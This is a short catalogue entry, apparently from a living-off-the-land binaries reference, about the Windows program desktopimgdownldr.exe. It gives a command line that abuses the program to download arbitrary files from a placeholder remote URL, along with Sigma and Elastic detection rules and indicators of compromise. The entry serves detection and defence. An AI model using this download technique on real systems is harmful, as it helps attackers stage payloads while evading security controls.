Windows binary used to configure lockscreen/desktop image Located at: c:\windows\system32\desktopimgdownldr.exe.
desktopimgdownldrdesktopimgdownldrSandbox: execFile · Timeout: 30s
network.transfer.download Outputs
process.output Command execution output
network_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Downloads the file and sets it as the computer's lockscreen (Download arbitrary files from a web server)
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr| Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml |
| sigma | https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml |
| elastic | https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml |
| ioc | desktopimgdownldr.exe that creates non-image file |
| ioc | Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl |
desktopimgdownldr is a Windows LOLBin. Windows binary used to configure lockscreen/desktop image Located at: c:\windows\system32\desktopimgdownldr.exe.